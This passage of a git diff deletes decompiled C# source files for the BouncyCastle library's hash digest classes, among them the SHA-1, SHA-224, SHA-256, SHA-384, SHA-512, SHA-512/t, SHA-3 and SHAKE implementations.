CopyIn(Sha1Digest t) - { - CopyIn((GeneralDigest)t); - H1 = t.H1; - H2 = t.H2; - H3 = t.H3; - H4 = t.H4; - H5 = t.H5; - Array.Copy(t.X, 0, X, 0, t.X.Length); - xOff = t.xOff; - } - - public override int GetDigestSize() - { - return 20; - } - - internal override void ProcessWord(byte[] input, int inOff) - { - X[xOff] = Pack.BE_To_UInt32(input, inOff); - if (++xOff == 16) - { - ProcessBlock(); - } - } - - internal override void ProcessLength(long bitLength) - { - if (xOff > 14) - { - ProcessBlock(); - } - X[14] = (uint)((ulong)bitLength >> 32); - X[15] = (uint)bitLength; - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - Pack.UInt32_To_BE(H1, output, outOff); - Pack.UInt32_To_BE(H2, output, outOff + 4); - Pack.UInt32_To_BE(H3, output, outOff + 8); - Pack.UInt32_To_BE(H4, output, outOff + 12); - Pack.UInt32_To_BE(H5, output, outOff + 16); - Reset(); - return 20; - } - - public override void Reset() - { - base.Reset(); - H1 = 1732584193u; - H2 = 4023233417u; - H3 = 2562383102u; - H4 = 271733878u; - H5 = 3285377520u; - xOff = 0; - Array.Clear(X, 0, X.Length); - } - - private static uint F(uint u, uint v, uint w) - { - return (u & v) | (~u & w); - } - - private static uint H(uint u, uint v, uint w) - { - return u ^ v ^ w; - } - - private static uint G(uint u, uint v, uint w) - { - return (u & v) | (u & w) | (v & w); - } - - internal override void ProcessBlock() - { - for (int i = 16; i < 80; i++) - { - uint num = X[i - 3] ^ X[i - 8] ^ X[i - 14] ^ X[i - 16]; - X[i] = (num << 1) | (num >> 31); - } - uint num2 = H1; - uint num3 = H2; - uint num4 = H3; - uint num5 = H4; - uint num6 = H5; - int num7 = 0; - for (int j = 0; j < 4; j++) - { - num6 += ((num2 << 5) | (num2 >> 27)) + F(num3, num4, num5) + X[num7++] + 1518500249; - num3 = (num3 << 30) | (num3 >> 2); - num5 += ((num6 << 5) | (num6 >> 27)) + F(num2, num3, num4) + X[num7++] + 1518500249; - num2 = (num2 << 30) | (num2 >> 2); - num4 += ((num5 << 5) | (num5 >> 27)) + F(num6, num2, num3) + X[num7++] + 1518500249; - num6 = (num6 << 30) | (num6 >> 2); - num3 += ((num4 << 5) | (num4 >> 27)) + F(num5, num6, num2) + X[num7++] + 1518500249; - num5 = (num5 << 30) | (num5 >> 2); - num2 += ((num3 << 5) | (num3 >> 27)) + F(num4, num5, num6) + X[num7++] + 1518500249; - num4 = (num4 << 30) | (num4 >> 2); - } - for (int k = 0; k < 4; k++) - { - num6 += ((num2 << 5) | (num2 >> 27)) + H(num3, num4, num5) + X[num7++] + 1859775393; - num3 = (num3 << 30) | (num3 >> 2); - num5 += ((num6 << 5) | (num6 >> 27)) + H(num2, num3, num4) + X[num7++] + 1859775393; - num2 = (num2 << 30) | (num2 >> 2); - num4 += ((num5 << 5) | (num5 >> 27)) + H(num6, num2, num3) + X[num7++] + 1859775393; - num6 = (num6 << 30) | (num6 >> 2); - num3 += ((num4 << 5) | (num4 >> 27)) + H(num5, num6, num2) + X[num7++] + 1859775393; - num5 = (num5 << 30) | (num5 >> 2); - num2 += ((num3 << 5) | (num3 >> 27)) + H(num4, num5, num6) + X[num7++] + 1859775393; - num4 = (num4 << 30) | (num4 >> 2); - } - for (int l = 0; l < 4; l++) - { - num6 += (uint)((int)(((num2 << 5) | (num2 >> 27)) + G(num3, num4, num5) + X[num7++]) + -1894007588); - num3 = (num3 << 30) | (num3 >> 2); - num5 += (uint)((int)(((num6 << 5) | (num6 >> 27)) + G(num2, num3, num4) + X[num7++]) + -1894007588); - num2 = (num2 << 30) | (num2 >> 2); - num4 += (uint)((int)(((num5 << 5) | (num5 >> 27)) + G(num6, num2, num3) + X[num7++]) + -1894007588); - num6 = (num6 << 30) | (num6 >> 2); - num3 += (uint)((int)(((num4 << 5) | (num4 >> 27)) + G(num5, num6, num2) + X[num7++]) + -1894007588); - num5 = (num5 << 30) | (num5 >> 2); - num2 += (uint)((int)(((num3 << 5) | (num3 >> 27)) + G(num4, num5, num6) + X[num7++]) + -1894007588); - num4 = (num4 << 30) | (num4 >> 2); - } - for (int m = 0; m < 4; m++) - { - num6 += (uint)((int)(((num2 << 5) | (num2 >> 27)) + H(num3, num4, num5) + X[num7++]) + -899497514); - num3 = (num3 << 30) | (num3 >> 2); - num5 += (uint)((int)(((num6 << 5) | (num6 >> 27)) + H(num2, num3, num4) + X[num7++]) + -899497514); - num2 = (num2 << 30) | (num2 >> 2); - num4 += (uint)((int)(((num5 << 5) | (num5 >> 27)) + H(num6, num2, num3) + X[num7++]) + -899497514); - num6 = (num6 << 30) | (num6 >> 2); - num3 += (uint)((int)(((num4 << 5) | (num4 >> 27)) + H(num5, num6, num2) + X[num7++]) + -899497514); - num5 = (num5 << 30) | (num5 >> 2); - num2 += (uint)((int)(((num3 << 5) | (num3 >> 27)) + H(num4, num5, num6) + X[num7++]) + -899497514); - num4 = (num4 << 30) | (num4 >> 2); - } - H1 += num2; - H2 += num3; - H3 += num4; - H4 += num5; - H5 += num6; - xOff = 0; - Array.Clear(X, 0, 16); - } - - public override IMemoable Copy() - { - return new Sha1Digest(this); - } - - public override void Reset(IMemoable other) - { - Sha1Digest t = (Sha1Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha224Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha224Digest.cs deleted file mode 100644 index 3c4caee..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha224Digest.cs +++ /dev/null @@ -1,225 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Sha224Digest : GeneralDigest -{ - private const int DigestLength = 28; - - private uint H1; - - private uint H2; - - private uint H3; - - private uint H4; - - private uint H5; - - private uint H6; - - private uint H7; - - private uint H8; - - private uint[] X = new uint[64]; - - private int xOff; - - internal static readonly uint[] K = new uint[64] - { - 1116352408u, 1899447441u, 3049323471u, 3921009573u, 961987163u, 1508970993u, 2453635748u, 2870763221u, 3624381080u, 310598401u, - 607225278u, 1426881987u, 1925078388u, 2162078206u, 2614888103u, 3248222580u, 3835390401u, 4022224774u, 264347078u, 604807628u, - 770255983u, 1249150122u, 1555081692u, 1996064986u, 2554220882u, 2821834349u, 2952996808u, 3210313671u, 3336571891u, 3584528711u, - 113926993u, 338241895u, 666307205u, 773529912u, 1294757372u, 1396182291u, 1695183700u, 1986661051u, 2177026350u, 2456956037u, - 2730485921u, 2820302411u, 3259730800u, 3345764771u, 3516065817u, 3600352804u, 4094571909u, 275423344u, 430227734u, 506948616u, - 659060556u, 883997877u, 958139571u, 1322822218u, 1537002063u, 1747873779u, 1955562222u, 2024104815u, 2227730452u, 2361852424u, - 2428436474u, 2756734187u, 3204031479u, 3329325298u - }; - - public override string AlgorithmName => "SHA-224"; - - public Sha224Digest() - { - Reset(); - } - - public Sha224Digest(Sha224Digest t) - : base(t) - { - CopyIn(t); - } - - private void CopyIn(Sha224Digest t) - { - CopyIn((GeneralDigest)t); - H1 = t.H1; - H2 = t.H2; - H3 = t.H3; - H4 = t.H4; - H5 = t.H5; - H6 = t.H6; - H7 = t.H7; - H8 = t.H8; - Array.Copy(t.X, 0, X, 0, t.X.Length); - xOff = t.xOff; - } - - public override int GetDigestSize() - { - return 28; - } - - internal override void ProcessWord(byte[] input, int inOff) - { - X[xOff] = Pack.BE_To_UInt32(input, inOff); - if (++xOff == 16) - { - ProcessBlock(); - } - } - - internal override void ProcessLength(long bitLength) - { - if (xOff > 14) - { - ProcessBlock(); - } - X[14] = (uint)((ulong)bitLength >> 32); - X[15] = (uint)bitLength; - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - Pack.UInt32_To_BE(H1, output, outOff); - Pack.UInt32_To_BE(H2, output, outOff + 4); - Pack.UInt32_To_BE(H3, output, outOff + 8); - Pack.UInt32_To_BE(H4, output, outOff + 12); - Pack.UInt32_To_BE(H5, output, outOff + 16); - Pack.UInt32_To_BE(H6, output, outOff + 20); - Pack.UInt32_To_BE(H7, output, outOff + 24); - Reset(); - return 28; - } - - public override void Reset() - { - base.Reset(); - H1 = 3238371032u; - H2 = 914150663u; - H3 = 812702999u; - H4 = 4144912697u; - H5 = 4290775857u; - H6 = 1750603025u; - H7 = 1694076839u; - H8 = 3204075428u; - xOff = 0; - Array.Clear(X, 0, X.Length); - } - - internal override void ProcessBlock() - { - for (int i = 16; i <= 63; i++) - { - X[i] = Theta1(X[i - 2]) + X[i - 7] + Theta0(X[i - 15]) + X[i - 16]; - } - uint num = H1; - uint num2 = H2; - uint num3 = H3; - uint num4 = H4; - uint num5 = H5; - uint num6 = H6; - uint num7 = H7; - uint num8 = H8; - int num9 = 0; - for (int j = 0; j < 8; j++) - { - num8 += Sum1(num5) + Ch(num5, num6, num7) + K[num9] + X[num9]; - num4 += num8; - num8 += Sum0(num) + Maj(num, num2, num3); - num9++; - num7 += Sum1(num4) + Ch(num4, num5, num6) + K[num9] + X[num9]; - num3 += num7; - num7 += Sum0(num8) + Maj(num8, num, num2); - num9++; - num6 += Sum1(num3) + Ch(num3, num4, num5) + K[num9] + X[num9]; - num2 += num6; - num6 += Sum0(num7) + Maj(num7, num8, num); - num9++; - num5 += Sum1(num2) + Ch(num2, num3, num4) + K[num9] + X[num9]; - num += num5; - num5 += Sum0(num6) + Maj(num6, num7, num8); - num9++; - num4 += Sum1(num) + Ch(num, num2, num3) + K[num9] + X[num9]; - num8 += num4; - num4 += Sum0(num5) + Maj(num5, num6, num7); - num9++; - num3 += Sum1(num8) + Ch(num8, num, num2) + K[num9] + X[num9]; - num7 += num3; - num3 += Sum0(num4) + Maj(num4, num5, num6); - num9++; - num2 += Sum1(num7) + Ch(num7, num8, num) + K[num9] + X[num9]; - num6 += num2; - num2 += Sum0(num3) + Maj(num3, num4, num5); - num9++; - num += Sum1(num6) + Ch(num6, num7, num8) + K[num9] + X[num9]; - num5 += num; - num += Sum0(num2) + Maj(num2, num3, num4); - num9++; - } - H1 += num; - H2 += num2; - H3 += num3; - H4 += num4; - H5 += num5; - H6 += num6; - H7 += num7; - H8 += num8; - xOff = 0; - Array.Clear(X, 0, 16); - } - - private static uint Ch(uint x, uint y, uint z) - { - return (x & y) ^ (~x & z); - } - - private static uint Maj(uint x, uint y, uint z) - { - return (x & y) ^ (x & z) ^ (y & z); - } - - private static uint Sum0(uint x) - { - return ((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10)); - } - - private static uint Sum1(uint x) - { - return ((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7)); - } - - private static uint Theta0(uint x) - { - return ((x >> 7) | (x << 25)) ^ ((x >> 18) | (x << 14)) ^ (x >> 3); - } - - private static uint Theta1(uint x) - { - return ((x >> 17) | (x << 15)) ^ ((x >> 19) | (x << 13)) ^ (x >> 10); - } - - public override IMemoable Copy() - { - return new Sha224Digest(this); - } - - public override void Reset(IMemoable other) - { - Sha224Digest t = (Sha224Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha256Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha256Digest.cs deleted file mode 100644 index 1d47001..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha256Digest.cs +++ /dev/null @@ -1,221 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Sha256Digest : GeneralDigest -{ - private const int DigestLength = 32; - - private uint H1; - - private uint H2; - - private uint H3; - - private uint H4; - - private uint H5; - - private uint H6; - - private uint H7; - - private uint H8; - - private uint[] X = new uint[64]; - - private int xOff; - - private static readonly uint[] K = new uint[64] - { - 1116352408u, 1899447441u, 3049323471u, 3921009573u, 961987163u, 1508970993u, 2453635748u, 2870763221u, 3624381080u, 310598401u, - 607225278u, 1426881987u, 1925078388u, 2162078206u, 2614888103u, 3248222580u, 3835390401u, 4022224774u, 264347078u, 604807628u, - 770255983u, 1249150122u, 1555081692u, 1996064986u, 2554220882u, 2821834349u, 2952996808u, 3210313671u, 3336571891u, 3584528711u, - 113926993u, 338241895u, 666307205u, 773529912u, 1294757372u, 1396182291u, 1695183700u, 1986661051u, 2177026350u, 2456956037u, - 2730485921u, 2820302411u, 3259730800u, 3345764771u, 3516065817u, 3600352804u, 4094571909u, 275423344u, 430227734u, 506948616u, - 659060556u, 883997877u, 958139571u, 1322822218u, 1537002063u, 1747873779u, 1955562222u, 2024104815u, 2227730452u, 2361852424u, - 2428436474u, 2756734187u, 3204031479u, 3329325298u - }; - - public override string AlgorithmName => "SHA-256"; - - public Sha256Digest() - { - initHs(); - } - - public Sha256Digest(Sha256Digest t) - : base(t) - { - CopyIn(t); - } - - private void CopyIn(Sha256Digest t) - { - CopyIn((GeneralDigest)t); - H1 = t.H1; - H2 = t.H2; - H3 = t.H3; - H4 = t.H4; - H5 = t.H5; - H6 = t.H6; - H7 = t.H7; - H8 = t.H8; - Array.Copy(t.X, 0, X, 0, t.X.Length); - xOff = t.xOff; - } - - public override int GetDigestSize() - { - return 32; - } - - internal override void ProcessWord(byte[] input, int inOff) - { - X[xOff] = Pack.BE_To_UInt32(input, inOff); - if (++xOff == 16) - { - ProcessBlock(); - } - } - - internal override void ProcessLength(long bitLength) - { - if (xOff > 14) - { - ProcessBlock(); - } - X[14] = (uint)((ulong)bitLength >> 32); - X[15] = (uint)bitLength; - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - Pack.UInt32_To_BE(H1, output, outOff); - Pack.UInt32_To_BE(H2, output, outOff + 4); - Pack.UInt32_To_BE(H3, output, outOff + 8); - Pack.UInt32_To_BE(H4, output, outOff + 12); - Pack.UInt32_To_BE(H5, output, outOff + 16); - Pack.UInt32_To_BE(H6, output, outOff + 20); - Pack.UInt32_To_BE(H7, output, outOff + 24); - Pack.UInt32_To_BE(H8, output, outOff + 28); - Reset(); - return 32; - } - - public override void Reset() - { - base.Reset(); - initHs(); - xOff = 0; - Array.Clear(X, 0, X.Length); - } - - private void initHs() - { - H1 = 1779033703u; - H2 = 3144134277u; - H3 = 1013904242u; - H4 = 2773480762u; - H5 = 1359893119u; - H6 = 2600822924u; - H7 = 528734635u; - H8 = 1541459225u; - } - - internal override void ProcessBlock() - { - for (int i = 16; i <= 63; i++) - { - X[i] = Theta1(X[i - 2]) + X[i - 7] + Theta0(X[i - 15]) + X[i - 16]; - } - uint num = H1; - uint num2 = H2; - uint num3 = H3; - uint num4 = H4; - uint num5 = H5; - uint num6 = H6; - uint num7 = H7; - uint num8 = H8; - int num9 = 0; - for (int j = 0; j < 8; j++) - { - num8 += Sum1Ch(num5, num6, num7) + K[num9] + X[num9]; - num4 += num8; - num8 += Sum0Maj(num, num2, num3); - num9++; - num7 += Sum1Ch(num4, num5, num6) + K[num9] + X[num9]; - num3 += num7; - num7 += Sum0Maj(num8, num, num2); - num9++; - num6 += Sum1Ch(num3, num4, num5) + K[num9] + X[num9]; - num2 += num6; - num6 += Sum0Maj(num7, num8, num); - num9++; - num5 += Sum1Ch(num2, num3, num4) + K[num9] + X[num9]; - num += num5; - num5 += Sum0Maj(num6, num7, num8); - num9++; - num4 += Sum1Ch(num, num2, num3) + K[num9] + X[num9]; - num8 += num4; - num4 += Sum0Maj(num5, num6, num7); - num9++; - num3 += Sum1Ch(num8, num, num2) + K[num9] + X[num9]; - num7 += num3; - num3 += Sum0Maj(num4, num5, num6); - num9++; - num2 += Sum1Ch(num7, num8, num) + K[num9] + X[num9]; - num6 += num2; - num2 += Sum0Maj(num3, num4, num5); - num9++; - num += Sum1Ch(num6, num7, num8) + K[num9] + X[num9]; - num5 += num; - num += Sum0Maj(num2, num3, num4); - num9++; - } - H1 += num; - H2 += num2; - H3 += num3; - H4 += num4; - H5 += num5; - H6 += num6; - H7 += num7; - H8 += num8; - xOff = 0; - Array.Clear(X, 0, 16); - } - - private static uint Sum1Ch(uint x, uint y, uint z) - { - return (((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7))) + ((x & y) ^ (~x & z)); - } - - private static uint Sum0Maj(uint x, uint y, uint z) - { - return (((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10))) + ((x & y) ^ (x & z) ^ (y & z)); - } - - private static uint Theta0(uint x) - { - return ((x >> 7) | (x << 25)) ^ ((x >> 18) | (x << 14)) ^ (x >> 3); - } - - private static uint Theta1(uint x) - { - return ((x >> 17) | (x << 15)) ^ ((x >> 19) | (x << 13)) ^ (x >> 10); - } - - public override IMemoable Copy() - { - return new Sha256Digest(this); - } - - public override void Reset(IMemoable other) - { - Sha256Digest t = (Sha256Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha384Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha384Digest.cs deleted file mode 100644 index a83670d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha384Digest.cs +++ /dev/null @@ -1,62 +0,0 @@ -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Sha384Digest : LongDigest -{ - private const int DigestLength = 48; - - public override string AlgorithmName => "SHA-384"; - - public Sha384Digest() - { - } - - public Sha384Digest(Sha384Digest t) - : base(t) - { - } - - public override int GetDigestSize() - { - return 48; - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - Pack.UInt64_To_BE(H1, output, outOff); - Pack.UInt64_To_BE(H2, output, outOff + 8); - Pack.UInt64_To_BE(H3, output, outOff + 16); - Pack.UInt64_To_BE(H4, output, outOff + 24); - Pack.UInt64_To_BE(H5, output, outOff + 32); - Pack.UInt64_To_BE(H6, output, outOff + 40); - Reset(); - return 48; - } - - public override void Reset() - { - base.Reset(); - H1 = 14680500436340154072uL; - H2 = 7105036623409894663uL; - H3 = 10473403895298186519uL; - H4 = 1526699215303891257uL; - H5 = 7436329637833083697uL; - H6 = 10282925794625328401uL; - H7 = 15784041429090275239uL; - H8 = 5167115440072839076uL; - } - - public override IMemoable Copy() - { - return new Sha384Digest(this); - } - - public override void Reset(IMemoable other) - { - Sha384Digest t = (Sha384Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha3Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha3Digest.cs deleted file mode 100644 index e0a139f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha3Digest.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Sha3Digest : KeccakDigest -{ - public override string AlgorithmName => "SHA3-" + fixedOutputLength; - - private static int CheckBitLength(int bitLength) - { - switch (bitLength) - { - case 224: - case 256: - case 384: - case 512: - return bitLength; - default: - throw new ArgumentException(bitLength + " not supported for SHA-3", "bitLength"); - } - } - - public Sha3Digest() - : this(256) - { - } - - public Sha3Digest(int bitLength) - : base(CheckBitLength(bitLength)) - { - } - - public Sha3Digest(Sha3Digest source) - : base(source) - { - } - - public override int DoFinal(byte[] output, int outOff) - { - AbsorbBits(2, 2); - return base.DoFinal(output, outOff); - } - - protected override int DoFinal(byte[] output, int outOff, byte partialByte, int partialBits) - { - if (partialBits < 0 || partialBits > 7) - { - throw new ArgumentException("must be in the range [0,7]", "partialBits"); - } - int num = (partialByte & ((1 << partialBits) - 1)) | (2 << partialBits); - int num2 = partialBits + 2; - if (num2 >= 8) - { - Absorb(new byte[1] { (byte)num }, 0, 1); - num2 -= 8; - num >>= 8; - } - return base.DoFinal(output, outOff, (byte)num, num2); - } - - public override IMemoable Copy() - { - return new Sha3Digest(this); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha512Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha512Digest.cs deleted file mode 100644 index 8300490..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha512Digest.cs +++ /dev/null @@ -1,64 +0,0 @@ -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Sha512Digest : LongDigest -{ - private const int DigestLength = 64; - - public override string AlgorithmName => "SHA-512"; - - public Sha512Digest() - { - } - - public Sha512Digest(Sha512Digest t) - : base(t) - { - } - - public override int GetDigestSize() - { - return 64; - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - Pack.UInt64_To_BE(H1, output, outOff); - Pack.UInt64_To_BE(H2, output, outOff + 8); - Pack.UInt64_To_BE(H3, output, outOff + 16); - Pack.UInt64_To_BE(H4, output, outOff + 24); - Pack.UInt64_To_BE(H5, output, outOff + 32); - Pack.UInt64_To_BE(H6, output, outOff + 40); - Pack.UInt64_To_BE(H7, output, outOff + 48); - Pack.UInt64_To_BE(H8, output, outOff + 56); - Reset(); - return 64; - } - - public override void Reset() - { - base.Reset(); - H1 = 7640891576956012808uL; - H2 = 13503953896175478587uL; - H3 = 4354685564936845355uL; - H4 = 11912009170470909681uL; - H5 = 5840696475078001361uL; - H6 = 11170449401992604703uL; - H7 = 2270897969802886507uL; - H8 = 6620516959819538809uL; - } - - public override IMemoable Copy() - { - return new Sha512Digest(this); - } - - public override void Reset(IMemoable other) - { - Sha512Digest t = (Sha512Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha512tDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha512tDigest.cs deleted file mode 100644 index c771ddc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha512tDigest.cs +++ /dev/null @@ -1,180 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Sha512tDigest : LongDigest -{ - private const ulong A5 = 11936128518282651045uL; - - private readonly int digestLength; - - private ulong H1t; - - private ulong H2t; - - private ulong H3t; - - private ulong H4t; - - private ulong H5t; - - private ulong H6t; - - private ulong H7t; - - private ulong H8t; - - public override string AlgorithmName => "SHA-512/" + digestLength * 8; - - public Sha512tDigest(int bitLength) - { - if (bitLength >= 512) - { - throw new ArgumentException("cannot be >= 512", "bitLength"); - } - if (bitLength % 8 != 0) - { - throw new ArgumentException("needs to be a multiple of 8", "bitLength"); - } - if (bitLength == 384) - { - throw new ArgumentException("cannot be 384 use SHA384 instead", "bitLength"); - } - digestLength = bitLength / 8; - tIvGenerate(digestLength * 8); - Reset(); - } - - public Sha512tDigest(Sha512tDigest t) - : base(t) - { - digestLength = t.digestLength; - Reset(t); - } - - public override int GetDigestSize() - { - return digestLength; - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - UInt64_To_BE(H1, output, outOff, digestLength); - UInt64_To_BE(H2, output, outOff + 8, digestLength - 8); - UInt64_To_BE(H3, output, outOff + 16, digestLength - 16); - UInt64_To_BE(H4, output, outOff + 24, digestLength - 24); - UInt64_To_BE(H5, output, outOff + 32, digestLength - 32); - UInt64_To_BE(H6, output, outOff + 40, digestLength - 40); - UInt64_To_BE(H7, output, outOff + 48, digestLength - 48); - UInt64_To_BE(H8, output, outOff + 56, digestLength - 56); - Reset(); - return digestLength; - } - - public override void Reset() - { - base.Reset(); - H1 = H1t; - H2 = H2t; - H3 = H3t; - H4 = H4t; - H5 = H5t; - H6 = H6t; - H7 = H7t; - H8 = H8t; - } - - private void tIvGenerate(int bitLength) - { - H1 = 14964410163792538797uL; - H2 = 2216346199247487646uL; - H3 = 11082046791023156622uL; - H4 = 65953792586715988uL; - H5 = 17630457682085488500uL; - H6 = 4512832404995164602uL; - H7 = 13413544941332994254uL; - H8 = 18322165818757711068uL; - Update(83); - Update(72); - Update(65); - Update(45); - Update(53); - Update(49); - Update(50); - Update(47); - if (bitLength > 100) - { - Update((byte)(bitLength / 100 + 48)); - bitLength %= 100; - Update((byte)(bitLength / 10 + 48)); - bitLength %= 10; - Update((byte)(bitLength + 48)); - } - else if (bitLength > 10) - { - Update((byte)(bitLength / 10 + 48)); - bitLength %= 10; - Update((byte)(bitLength + 48)); - } - else - { - Update((byte)(bitLength + 48)); - } - Finish(); - H1t = H1; - H2t = H2; - H3t = H3; - H4t = H4; - H5t = H5; - H6t = H6; - H7t = H7; - H8t = H8; - } - - private static void UInt64_To_BE(ulong n, byte[] bs, int off, int max) - { - if (max > 0) - { - UInt32_To_BE((uint)(n >> 32), bs, off, max); - if (max > 4) - { - UInt32_To_BE((uint)n, bs, off + 4, max - 4); - } - } - } - - private static void UInt32_To_BE(uint n, byte[] bs, int off, int max) - { - int num = System.Math.Min(4, max); - while (--num >= 0) - { - int num2 = 8 * (3 - num); - bs[off + num] = (byte)(n >> num2); - } - } - - public override IMemoable Copy() - { - return new Sha512tDigest(this); - } - - public override void Reset(IMemoable other) - { - Sha512tDigest sha512tDigest = (Sha512tDigest)other; - if (digestLength != sha512tDigest.digestLength) - { - throw new MemoableResetException("digestLength inappropriate in other"); - } - CopyIn(sha512tDigest); - H1t = sha512tDigest.H1t; - H2t = sha512tDigest.H2t; - H3t = sha512tDigest.H3t; - H4t = sha512tDigest.H4t; - H5t = sha512tDigest.H5t; - H6t = sha512tDigest.H6t; - H7t = sha512tDigest.H7t; - H8t = sha512tDigest.H8t; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/ShakeDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/ShakeDigest.cs deleted file mode 100644 index e2919c3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/ShakeDigest.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class ShakeDigest : KeccakDigest, IXof, IDigest -{ - public override string AlgorithmName => "SHAKE" + fixedOutputLength; - - private static int CheckBitLength(int bitLength) - { - if (bitLength == 128 || bitLength == 256) - { - return bitLength; - } - throw new ArgumentException(bitLength + " not supported for SHAKE", "bitLength"); - } - - public ShakeDigest() - : this(128) - { - } - - public ShakeDigest(int bitLength) - : base(CheckBitLength(bitLength)) - { - } - - public ShakeDigest(ShakeDigest source) - : base(source) - { - } - - public override int DoFinal(byte[] output, int outOff) - { - return DoFinal(output, outOff, GetDigestSize()); - } - - public virtual int DoFinal(byte[] output, int outOff, int outLen) - { - DoOutput(output, outOff, outLen); - Reset(); - return outLen; - } - - public virtual int DoOutput(byte[] output, int outOff, int outLen) - { - if (!squeezing) - { - AbsorbBits(15, 4); - } - Squeeze(output, outOff, (long)outLen << 3); - return outLen; - } - - protected override int DoFinal(byte[] output, int outOff, byte partialByte, int partialBits) - { - return DoFinal(output, outOff, GetDigestSize(), partialByte, partialBits); - } - - protected virtual int DoFinal(byte[] output, int outOff, int outLen, byte partialByte, int partialBits) - { - if (partialBits < 0 || partialBits > 7) - { - throw new ArgumentException("must be in the range [0,7]", "partialBits"); - } - int num = (partialByte & ((1 << partialBits) - 1)) | (15 << partialBits); - int num2 = partialBits + 4; - if (num2 >= 8) - { - Absorb(new byte[1] { (byte)num }, 0, 1); - num2 -= 8; - num >>= 8; - } - if (num2 > 0) - { - AbsorbBits(num, num2); - } - Squeeze(output, outOff, (long)outLen << 3); - Reset(); - return outLen; - } - - public override IMemoable Copy() - { - return new ShakeDigest(this); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/ShortenedDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/ShortenedDigest.cs deleted file mode 100644 index 5da46a6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/ShortenedDigest.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class ShortenedDigest : IDigest -{ - private IDigest baseDigest; - - private int length; - - public string AlgorithmName => baseDigest.AlgorithmName + "(" + length * 8 + ")"; - - public ShortenedDigest(IDigest baseDigest, int length) - { - if (baseDigest == null) - { - throw new ArgumentNullException("baseDigest"); - } - if (length > baseDigest.GetDigestSize()) - { - throw new ArgumentException("baseDigest output not large enough to support length"); - } - this.baseDigest = baseDigest; - this.length = length; - } - - public int GetDigestSize() - { - return length; - } - - public void Update(byte input) - { - baseDigest.Update(input); - } - - public void BlockUpdate(byte[] input, int inOff, int length) - { - baseDigest.BlockUpdate(input, inOff, length); - } - - public int DoFinal(byte[] output, int outOff) - { - byte[] array = new byte[baseDigest.GetDigestSize()]; - baseDigest.DoFinal(array, 0); - Array.Copy(array, 0, output, outOff, length); - return length; - } - - public void Reset() - { - baseDigest.Reset(); - } - - public int GetByteLength() - { - return baseDigest.GetByteLength(); - } -} diff --git 